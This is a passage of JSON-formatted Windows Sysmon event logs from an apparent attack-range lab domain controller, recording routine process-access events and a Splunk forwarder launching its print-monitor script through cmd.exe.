11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2041,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.094\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-0010104E0300}\r\nTargetProcessId: 3864\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.094","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-0010104E0300}","TargetProcessId":"3864","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2042,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.205\r\nProcessGuid: {90617006-3FE9-5F2D-0000-00107D510300}\r\nProcessId: 3688\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.205","ProcessGuid":"{90617006-3FE9-5F2D-0000-00107D510300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2043,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2044,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.203","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2045,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.203\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 